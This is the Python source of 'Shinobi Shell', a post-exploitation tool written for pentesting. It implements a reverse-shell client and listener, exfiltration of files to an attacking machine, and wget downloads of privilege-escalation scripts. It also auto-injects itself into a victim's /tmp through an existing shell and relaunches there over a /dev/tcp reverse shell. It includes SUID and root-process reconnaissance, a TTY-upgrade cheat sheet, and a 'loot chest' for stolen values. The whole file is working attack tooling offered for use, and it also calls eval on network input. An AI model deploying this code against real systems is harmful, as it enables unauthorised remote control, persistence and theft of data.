#!/usr/bin/python import os import cmd import sys import time import socket try: import thread except ImportError: import _thread import select import base64 import signal import argparse import datetime try: from shlex import quote except ImportError: from pipes import quote encryptionAvailable = False try: from Crypto.Cipher import AES encryptionAvailable = True except ImportError: encryptionAvailable = False print("WARNING -> Crypto.Cipher Library not available on this machine.... Your shell will work but there's no encryption...") parser = argparse.ArgumentParser(description='Shinobi shell is a shell specifically designed to make exfiltration, proxying, persistance and other pentesting actions easier.', prog='PROG', usage='%(prog)s [options]') parser.add_argument('-t', '--ttyCheat', help='Shows tty shell cheat sheet', action="store_true") parser.add_argument('-a', '--autoload', help='Listens for a incoming shell. Then autoloads shinobi shell onto the target', action="store_true") parser.add_argument('-c', '--connect', help='Flag that indicates a reverse shell connection', action="store_true") parser.add_argument('-l', '--listen', help='Starts Shinobi Shell listener on port passed in') parser.add_argument('-k', '--key', help='Secret shared key used to create an encrypted tunnel between Shinobi Server and Clients', action="store_true") parser.add_argument('-r', '--serveraddress', help='Local IP Address used for universal reverse shell handler') parser.add_argument('-x', '--dontuse', help='This flag is used by the auto shell injection. Don\'t use it, nothing happens') #The Shinobi Shell command prompt CMDPROMPT="|Shinobi[sh]ell|->:~$" #This constant identifies the start of a shinobi message STARTCONST="&&&shinobishell_start&&&" #This constant is to identify message parts BREAKCONST="&&&shinobishell_break&&&" #This constant is used to determine when the end of a transmission has been reached because python sockets.recv is to stupid to figure it out ENDCONST="&&&shinobishell_end&&&" #not implemented yet because apparently you need non-standard libs to capture keyboard events commandHistory = [] #Ip address used for incoming reverse shell handler serverAddress = "" ####SETUP TUNNEL ENCRYPTION#### args = vars(parser.parse_args()) #loot in key value pairs lootChest = dict() lootVersion = 0 #Creates a line break def lb(): print("") #Runs a shell command def runCommand(command): print(os.popen(command).read().strip()) try: if(args["key"]): print('Please enter your secret Key') print("Your secret key must be 16, 24 or 32 chars long") key = raw_input('key: ') secret_key = args["key"].strip() secretLength = len(secret_key) is16 = secretLength != 16 is24 = secretLength != 24 is32 = secretLength != 32 if(is16 and is24 and is32): print("Your secret key must be 16, 24 or 32 chars long") os._exit(0) cipher = AES.new(secret_key) PADDING = '{' BLOCK_SIZE = 32 pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING print('Shinobi Tunnel Encrypted') except: print('Shinobi Tunnel Plaintext ~~ Be aware') pass try: EncodeAES = lambda s: base64.b64encode(cipher.encrypt(pad(s))) DecodeAES = lambda e: cipher.decrypt(base64.b64decode(e)).rstrip(PADDING) except: pass else: EncodeAES = lambda s: s DecodeAES = lambda e: e ############################# #Sends a command with our custom padding because sockets are to fucking dumb to know when messages begin and end def sendCommand(connection,command): payload = "" if(encryptionAvailable): payload = EncodeAES(STARTCONST + command + ENDCONST) else: payload = STARTCONST + command + ENDCONST if(len(payload) > 1024): totalChunks = len(payload)/1024 print("TOTAL CHUNKS: " + str(totalChunks)) chunkCount = 0 while(len(payload)>0): if(len(payload) > 1024): time.sleep(.1) chunkCount = chunkCount + 1 chunk = payload[:1024] connection.send(chunk) payload = payload[1024:] else: connection.send(payload) break else: if(encryptionAvailable): connection.send(EncodeAES(STARTCONST + command + ENDCONST)) else: connection.send(payload) #Waits for an incoming transmission def getResult(connection): connection.setblocking(0) inputs = [connection] outputs = [] result = "" while inputs: readable, writable, exceptional = select.select(inputs, outputs, inputs) for s in readable: data = connection.recv(1024) if("echo $0" in data): print("Identifying shell to server") connection.send('shinobishell') continue if(encryptionAvailable): data = DecodeAES(data) if data: result += data if(ENDCONST in data): break else: break if(ENDCONST in result): break result = result.replace(STARTCONST, "") result = result.replace(ENDCONST, "") inputs.remove(connection) return result #Displays help info such as commands author info and preconfigured aliases def displayHelpInfo(): lb() print("Shinobi Shell v1.0") print("Author: Anthony Russell") print("Contact: Twitter @DotNetRussell") print("Blog: https://DotNetRussell.com (don't hack me bro)") lb() print("Commands:") lb() print("help \t\t\t\t\tdisplays help information") print("machineinfo \t\t\t\tdisplays a series of machine variables to help with priv esc") print("searchsploit \t\tsends a searchsploit command back to your attacking machine and returns the results through shinobi tunnel") print("exfil \t\t\texfiltrates a file back to your attacking machine via shinobi tunnel") print("ssdownload \t\tdownloads a search sploit exploit from your attacking machine") print("download \t\t\t\tdoes a wget for your file on your attacking machine and then transfers it to you over shinobi tunnel") print("linenum\t\t\t\t\tdownlods linenum.sh to the Shinobi Server and then transfers it back to the client") print("suid3num\t\t\t\tdownloads suid3num.py to the Shinobi server and then transfers it back to the client") lb() print("Loot Chest:") lb() print("loot store \t\t stores a key value pair in your loot chest") print("loot \t\t\t\t gets a loot value") print("loot show \t\t\t\t shows everything in loot chest") print("NOTE: Loot chest auto syncs with attacking machine") lb() print("Auto Aliases") lb() print("lsa == ls -la") lb() #Attempts to exfiltrate the file passed in back to the Shinobi Server def exfiltrateFile(connection,command): print("Attempting to exfiltrate file back to Shinobi Server. Standby for results...") targetFile = command[5:].strip() pathParts = targetFile.split("/") totalParts = len(pathParts) filename = pathParts[totalParts-1] fileBytes = open(targetFile).read() print("Prompting server for exfil") sendCommand(connection,"exfil") print("Waiting for server to be ready for file") isReady = getResult(connection) print("Response recieved") if("ready" in isReady): print("Server Ready! Sending file ...") sendCommand(connection,command + BREAKCONST + filename + BREAKCONST + str(len(fileBytes)) + BREAKCONST + fileBytes) print("Exfiltration completed!") lb() #Attempts to download the file requested on the Shinobi Server and then returns it to the requesting machine def downloadFile(connection,command): print("Requesting file from Shinobi Server. Standby for results...") try: sendCommand(connection,command) except: print("There was an exception while requesting your file") result = getResult(connection) print("File Transfer Completed!") filename = raw_input("Name for your file: ") print("Creating file localy") file = open(filename,'wb') print("Writing File") file.write(result) print("File write completed") lb() #Attempts to download the file requested on the Shinobi Server and then returns it to the requesting machine def linenumDownload(connection,command): print("Requesting file from Shinobi Server. Standby for results...") try: sendCommand(connection,command) except: print("There was an exception while requesting your file") result = getResult(connection) print("File Transfer Completed!") filename = "linenum.sh" print("Creating file locally") file = open(filename,'wb') print("Writing File") file.write(result) print("File write completed") lb() def suid3numDownload(connection,command): print("Requesting file from Shinobi Server. Standby for results...") try: sendCommand(connection,command) except: print("There was an exception while requesting your file") result = getResult(connection) print("File Transfer Completed!") filename = "suid3num.py" print("Creating file locally") file = open(filename,'wb') print("Writing File") file.write(result) print("File write completed") lb() #Attempts to download the requested searchsploit file from the Shinobi server def downloadSearchSploitFile(connection,command): pathParts = command.split("/") totalParts = len(pathParts) filename = pathParts[totalParts-1] print("Requesting file " + filename +" from Shinobi Server. Standby for results...") try: sendCommand(connection,command) except: print("There was an exception while requesting your file") result = getResult(connection) print("File Transfer Completed!") print("Creating file localy") file = open(filename,'wb') print("Writing File") file.write(result) print("File write completed") lb() #Displays info about the machine that could prove useful def displayMachineInfo(): lb() print("---Machine Info---") lb() print("id:") runCommand("id") lb() print("Currently Logged In:") runCommand("who") lb() print("OS Info:") runCommand("cat /proc/version") lb() print("Listening Ports:") runCommand('netstat -ano | grep -E "LISTEN|127.0.0.1|0.0.0.0" | grep -v "LISTENING"') lb() print("Current root processes:") runCommand("ps aux | grep root") lb() print("SUID") runCommand("find / -perm -u=s 2>/dev/null") lb() print("/home directory") runCommand("ls -la /home") lb() #Attempts to run a searchsploit command on the Shinobi Server with the passed in search criteria, then displays it to the user def searchsploitCommand(connection,command): print("Sending command to Shinobi Server. Standby for results...") try: sendCommand(connection,command) except: print("There was an exception while sending your command") result = getResult(connection) print(result) #Pulls the servers version of the loot chest def getLootVersion(connection): sendCommand(connection,"currentLootVersion") return int(getResult(connection)) #Syncs the server loot with local loot chest def syncLoot(connection): global lootVersion serverVersion = getLootVersion(connection) if(serverVersion == 0 and lootVersion == 0): return if(serverVersion < lootVersion): sendCommand(connection, "syncLoot"+BREAKCONST+str(lootVersion)+BREAKCONST+str(lootChest)) serverVersion = getLootVersion(connection) if(serverVersion != lootVersion): print("Loot sync: Failed to update server loot chest") print("Local Version: " + str(lootVersion)) print("Server Version: " + str(serverVersion)) else: sendCommand(connection, "getLoot") lootChestUpdated = eval(getResult(connection)) for k,v in lootChestUpdated.iteritems(): if(k in lootChest): if( lootChest[k] == v): continue else: print("Loot key conflict!") print("During a loot chest sync with the server, a duplicate key was found in your chest with a value that doesn match") print("Server Loot Chest Entry") print("Key: " + k) print("Value: " + v) lb() print("Local Loot Chest Entry") print("Key: " + k) print("Value: " + lootChest[k]) lb() print("How would you like to handle this?") print("Overwrite local value - OL") print("Change local loot name - CN") choice = raw_input("Choice: ") if("cn" in choice.lower()): key = k value = lootChest[k] lootChest[k] = v while True: newKey = raw_input("Please choose a new key: ") if(newKey in lootChest or newKey in lootChestUpdated): print("Key already exists in either server or local lootchest") else: lootChest[newKey] = value break elif("ol" in choice.lower()): lootChest[k] = v else: lootChest[k] = v lootVersion = serverVersion #Syncs loot with the Shinobi server, stores loot locally, increments loot version and syncs loot with Shinobi server def storeLoot(connection,command): syncLoot(connection) global lootVersion key = raw_input("Loot Key: ") overwrite = 'y' if(key in lootChest): overwrite = raw_input("Loot key already exists. Overwrite? ") if("yes" in overwrite.lower() or "y" in overwrite.lower()): value = raw_input("Loot Value: ") lootChest[key] = value lootVersion = lootVersion + 1 else: print("Aborting") else: value = raw_input("Loot Value: ") lootChest[key] = value lootVersion = lootVersion + 1 syncLoot(connection) #Syncs loot from Shinobi server and then displays it def displayLoot(connection): syncLoot(connection) print("LOOT CHEST:") lb() for k,v in lootChest.iteritems(): print(" | " + k + " | " + v + " | ") lb() #Syncs loot with Shinobi server then attempts to retrieve a value with the key passed in def getLoot(connection, command): syncLoot(connection) lootKey = command[4:].strip() if(len(lootKey)==0): print("Please enter a loot key") print("Example:") print("loot myKey") else: if(lootKey in lootChest): print(lootKey) print(lootChest[lootKey]) else: print("Loot not found!") def displayPtyCheetSheet(): print('TTY Cheet Sheet') print('') print('Python:\t\t\tpython -c \'import pty; pty.spawn("/bin/sh")\'') print('Bash:\t\t\techo os.system(\'/bin/bash\')') print('Sh:\t\t\t/bin/sh -i') print('Perl:\t\t\tperl -e \'exec "/bin/sh":\'') print('Perl:\t\t\texec "/bin/sh";') print('Ruby:\t\t\texec "/bin/sh"') print('Lua:\t\t\tos.execute(\'/bin/sh\')') print('Inside Vi:\t\t!bash') print('Inside Vi:\t\t:set shell=/bin/bash:shell') print('Inside Nmap:\t\t!sh') #Handles user input def handleCommand(connection,command): if(len(command) == 0): return if("searchsploit" in command[:12]): searchsploitCommand(connection,command) elif("machineinfo" in command[:11]): displayMachineInfo() elif("help" == command.strip().lower()): displayHelpInfo() elif("ssdownload" in command[:10]): downloadSearchSploitFile(connection,command) elif("lsa" in command[:3]): directory = command[3:] runCommand("ls -la " + directory) elif("download" in command[:8]): downloadFile(connection,command) elif("linenum" in command[:7]): linenumDownload(connection,command) elif("suid3num" in command[:8]): suid3numDownload(connection,command) elif("exfil" in command[:5]): exfiltrateFile(connection,command) elif("loot store" in command[:10]): storeLoot(connection,command) elif("loot show" in command[:9]): displayLoot(connection) elif("loot" in command[:4]): getLoot(connection,command) elif("cd" in command[:2]): try: os.chdir(command[2:].strip()) except: print('Permission Denied') elif("exit" in command[:4]): sys.exit() return elif("echo $0" in command[:7]): print("shinobishell") else: runCommand(command) #This is the Shinobi Client Shell class ShinobiShellPrompt(cmd.Cmd): connectiion = "" prompt = CMDPROMPT commands = ["machineinfo","help","searchsploit","ssdownload","download","exfil"] def default(self, line): handleCommand(self.connection, line) def precmd(self, line): currentTime = str(datetime.datetime.now()).strip() hostname = socket.gethostname().strip() currentUser = os.popen("id -un").read().strip() ipAddresses = os.popen("hostname -I").read().strip() metaLine = "###" + currentTime + " | " + hostname + "/" + currentUser + " | " + ipAddresses + " " + "###" print(metaLine) return line def postcmd(self, line, arg): currentDir = '[' + os.popen('pwd').read().strip() + ']'; print(currentDir) return line def emptyline(self): pass def do_help(self,arg): handleCommand(self.connection, "help") pass def setConnection(self, connection): self.connection = connection #starts a new shinobi shell def startShell(connection): try: shell = ShinobiShellPrompt() shell.setConnection(connection) shell.cmdloop() except KeyboardInterrupt: lb() print("Type exit to close the shell") startShell(connection) #Attempts to connect to a shinobi shell listener at the address and port passed in #address = targetIp:targetPort def connectToShinobiShellServer(address): addressArray = address.split(':') address = addressArray[0] port = int(addressArray[1]) print('Connecting to Shinobi Shell at ' + address + ' on port ' + str(port)) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = (address, port) sock.connect(server_address) data = getResult(sock) if("shinobi_connected" in data): sys.stdout.write('Connection Successful') print("Connection Successful") startShell(sock) else: print("Connection Failed") #handles incoming connections def listenerHandler(buf,conn,address): global lootChest global lootVersion if(len(buf)==0): return print(address + " command received: " + buf) if("searchsploit" in buf): print("executing searchsploit command") result = os.popen(buf).read() sendCommand(conn,result) elif("ssdownload" in buf): print("executing searchsploit download command") args = buf.split(" ") searchsploitRoot = "/usr/share/exploitdb/exploits/" file = open(searchsploitRoot + args[1],'r').read() sendCommand(conn,file) elif("download" in buf): print("executing file download command") url = buf[9:].strip().replace(" ","%20") try: file = os.popen("wget -O- " + url).read() sendCommand(conn,file) except: print("There was an error while downloading and sending your file back to the client") elif("exfil" in buf): print("executing exfil command") print("Sending ready command") sendCommand(conn,"ready") exfildata = getResult(conn) payloadParts = exfildata.split(BREAKCONST) payloadNameParts = payloadParts[1].split("/") payloadName = payloadNameParts[len(payloadNameParts)-1] payloadSize = payloadParts[2] payload = payloadParts[3] print("FILE NAME: " + payloadName) print("FILE SIZE: " + str(payloadSize)) file = open("./" + payloadName, 'wb') file.write(payload) file.close() print("File Saved") elif("currentLootVersion" in buf): sendCommand(conn,str(lootVersion)) elif("getLoot" in buf): sendCommand(conn,str(lootChest)) elif("linenum" in buf): print("executing linenum download and return commnd") url = "https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh" try: file = os.popen("wget -O- " + url).read() sendCommand(conn,file) except: print("There was an error while downloading and sending your file back to the client") elif("suid3num" in buf): print("executing suid3num download and return commend") url = "https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py" try: file = os.popen("wget -O- " + url).read() sendCommand(conn,file) except: print("There was en error while downloading and sending your file back to the client") elif("syncLoot" in buf): print("Syncing Loot") lootPayload = buf.split(BREAKCONST) version = lootPayload[1] print("Current Loot Version: " + str(lootVersion)) print("Incoming Loot Version: " + version) incomingLoot = lootPayload[2] if(version < lootVersion or (len(incomingLoot) == len(lootChest))): print("Rejecting loot sync because it's version is lower than current") else: for k,v in lootChest.iteritems(): if(k not in incomingLoot): print("Rejecting loot sync because it has unsynced loot") return lootChest = eval(incomingLoot) lootVersion = version print("Loot Updated") print("Loot Version: " + str(lootVersion)) file = open('shinobi_loot','wb') file.write(str(lootVersion)+BREAKCONST+str(lootChest)) file.close() #This loops endlessly for each connection thread. It receives commands and sends them off to the handler def listenerThread(connection, address): print("Connection Opened") connection.send("echo $0\x0a") shelltype=connection.recv(1024) if("shinobishell" in shelltype): sendCommand(connection,"shinobi_connected") while True: inputs = [connection] outputs = [] result = "" while inputs: readable, writable, exceptional = select.select(inputs, outputs, inputs) for s in readable: data = connection.recv(1024) if data: try: result += DecodeAES(data) except: result += data if(ENDCONST in data): break else: break result = result.replace(STARTCONST,"") result = result.replace(ENDCONST,"") listenerHandler(result,connection,address) result = "" else: print('Recieved a ' + shelltype.strip() + ' shell') print('Loading a shinobishell onto victim machine...') print('Attempting to navigate to writable directory...') connection.send('cd /tmp\x0a') print('Checking directory') connection.send('pwd\x0a') directory = connection.recv(1024) print(directory) if("/tmp" in directory): print("Checking for python") connection.send('which python\x0a') pythonPath = connection.recv(1024) if('python' in pythonPath): print("Directory Changed") print("Writing shinobishell.py...") scriptCode = open(os.path.realpath(__file__)).readlines() for line in scriptCode: payload = quote(line.replace('\n', ' ').replace('\r', '')) connection.send("echo " + payload + " >> shinobishell.py \x0a") print("Shell transfered!") print("Which address would you like the shell to be sent to? :") addressPort = raw_input("~>").strip().split(":") port = args["listen"] print("Spawning remote Shinobi Shell ... ") connection.send(pythonPath.strip() + ' -u /tmp/shinobishell.py -k 1234567890123456 -a ' + serverAddress.strip() + ":" + port + ' >& /dev/tcp/' + addressPort[0] + '/' + addressPort[1] + ' 0>&1 \x0a ') else: print('Python not installed') else: print('No writeable directory found, sorry :-(') #Attempts to start a Shinobi Shell listener on the port passed in def setupShinobiShellListener(port): print('Listening for Shinobi Shell connections on port ' + port) print('Send me Ninja Connections!') serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) serversocket.bind(('0.0.0.0', int(port))) serversocket.listen(100) while True: connection, address = serversocket.accept() thread.start_new_thread(listenerThread,(connection,address[0],)) if(args["serveraddress"]): serverAddress = args["serveraddress"] if(args["dontuse"]): serverAddress = args["dontuse"] connectToShinobiShellServer(serverAddress) if(args["connect"]): serveraddr = raw_input('Enter Server Address and port ~> example: 127.0.0.1:8080 : ') connectToShinobiShellServer(serveraddr) if(args["listen"]): print("Looking for stored loot file in working directory..") if(os.path.isfile("shinobi_loot")): print("Loot file found, restoring loot cache") file = open("shinobi_loot").read() lootParts = file.split(BREAKCONST) lootVersion = lootParts[0] lootChest = eval(lootParts[1]) print("Loot Chest Restored!") else: print("No loot chest cache found. Creating new chest") setupShinobiShellListener(args["listen"]) if(args["ttyCheat"]): displayPtyCheetSheet() if(args["autoload"]): port = raw_input("Which port to listen on: ") serveraddress = raw_input("What is the ShinobiServer address:port combination: ") serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) serversocket.bind(('0.0.0.0', int(port))) serversocket.listen(1) connection, address = serversocket.accept() connection.send('whoami \x0a') response = connection.recv(1024) print("Current User: " + response) if(len(response) > 0): print("Opening source file: " + sys.argv[0]) shinobiShellSource = open(sys.argv[0]).readlines() print("Source File Length: " + str(len(shinobiShellSource))) connection.send('cd /tmp; pwd; \x0a') print("Current DIR: " + connection.recv(1024)) print('Uploading shell') for line in shinobiShellSource: encodedLine = base64.b64encode(line) connection.send('echo ' + encodedLine + ' | base64 -d >> tempShinobiShell.py\x0a') print('Payload Sent...') connection.send('which python \x0a') pythonPath = connection.recv(1024).strip() print('Starting tty shell...') connection.send(pythonPath + ' -c "import pty; pty.spawn(\'/bin/sh\')"\x0a') response = connection.recv(1024).strip() print(response) print('Starting shell') connection.send(pythonPath + " tempShinobiShell.py -x " + serveraddress + " 0<&1 \x0a") print('Shell started!') while True: while True: response = connection.recv(1024).strip() if("|Shinobi[sh]ell|" in response): sys.stdout.write(response) break else: print(response) connection.send(raw_input() + " \x0a") print('Connection Closed')